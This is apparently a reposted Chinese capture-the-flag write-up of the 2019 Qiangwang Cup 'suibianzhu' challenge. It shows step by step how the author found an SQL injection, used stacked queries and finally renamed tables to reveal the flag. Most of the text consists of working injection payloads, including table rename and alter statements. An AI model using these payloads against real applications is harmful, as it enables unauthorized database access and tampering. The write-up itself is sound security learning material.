[强网杯 2019]随便注


?inject='
首先尝试单引号,发现注入点。


?inject=1' or 1=1--
?inject=1' or 1=1#
两种常规注释都无法注释,最后%23成功。


?inject=1' order by 3%23
order by 发现输出两列。


?inject=1' union select 1,2%23
尝试利用联合查询查看输出位置。发现若干过滤词,联合查询行不通。


?inject=1%27%20;show%20databases;
尝试堆叠查询,发现可以!

首先我看到的是那个ctftraining数据库,所以我被骗了,我深入了这条线

?inject=1%27%20;show%20databases;use ctftraining;show tables;
经过深入,我看到了一个FLAG_TABLE表


?inject=1%27%20;show%20databases;use ctftraining;show tables;desc FLAG_TABLE;用desc看看里面的列类型。
里面说没有Flag,而且根据题目的形式来看有以下情况:


?inject=1' or 1=1%23,sql语句输出模式是,取当前表的两个字段,因为我们不能用联合查询select其他的表,所以只能对当前表进行操作。


?inject=1';show tables;那就先看看当前的库有哪些表。
1919810931114514这个表长得比较特殊,从它入手吧。

?inject=1';desc1919810931114514`;仿佛看到了希望,但是也只能看到一个有可能的表里面有一个有可能的列是flag,并没有手段去看flag列中具体是什么。

做到这里不会做了。查看wp,学到了很多:
首先用desc看表的列属性时,可以看有几个列属性,有几个列属性说明,全真输出时会输出几个字段。
其次观察题目给的默认sql语句中,查询出来的字段是两个。那么说明题目给的默认from table 的 table 他有两个列属性,desc words后发现果然有两个列属性。
很大可能当前默认table是words表。
学到了一种重命名的方法,原sql查询语句中的selct * from table 中的 table没法改,可以想看的表名称改为目前默认from table的table表名,这样就可以偷天换日。
构造语句为:
1';rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
这时全真查询?inject=1' or 1=1%23得到flag。

原文地址:https://www.cnblogs.com/cmredkulaa/p/13951232.html